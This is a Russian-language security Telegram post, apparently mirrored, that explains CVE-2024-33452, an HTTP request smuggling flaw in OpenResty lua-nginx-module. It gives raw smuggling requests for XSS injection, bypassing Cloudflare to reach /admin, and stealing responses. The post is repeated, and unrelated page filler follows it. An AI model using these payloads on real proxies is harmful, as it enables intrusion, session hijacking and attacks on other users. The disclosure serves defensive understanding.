SHADOW_GROUP_TG Telegram 1043
🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах

Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.

Пример

Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost


Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.

Сценарии атак

Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).

Пример с Kong Gateway

Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.

1️⃣ Внедрение XSS через смуглинг

Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:


Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.

2️⃣ Обход защиты фронт-прокси (Cloudflare)

Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.

Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com


Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.

3️⃣ Кража ответов других пользователей

Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.

Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.

Подробности

Более подробное описание читайте в блоге по ссылке.

#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM



tgoop.com/shadow_group_tg/1043
Create:
Last Update:

🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах

Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.

Пример

Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost


Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.

Сценарии атак

Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).

Пример с Kong Gateway

Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.

1️⃣ Внедрение XSS через смуглинг

Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:


Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.

2️⃣ Обход защиты фронт-прокси (Cloudflare)

Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.

Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com


Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.

3️⃣ Кража ответов других пользователей

Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.

Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.

Подробности

Более подробное описание читайте в блоге по ссылке.

#web #hrs #xss

BY SHADOW:Group




Share with your friend now:
tgoop.com/shadow_group_tg/1043

View MORE
Open in Telegram


Telegram News

Date: |

Telegram channels fall into two types: ZDNET RECOMMENDS While some crypto traders move toward screaming as a coping mechanism, many mental health experts have argued that “scream therapy” is pseudoscience. Scientific research or no, it obviously feels good. The channel also called on people to turn out for illegal assemblies and listed the things that participants should bring along with them, showing prior planning was in the works for riots. The messages also incited people to hurl toxic gas bombs at police and MTR stations, he added. Write your hashtags in the language of your target audience.
from us


Telegram SHADOW:Group
FROM American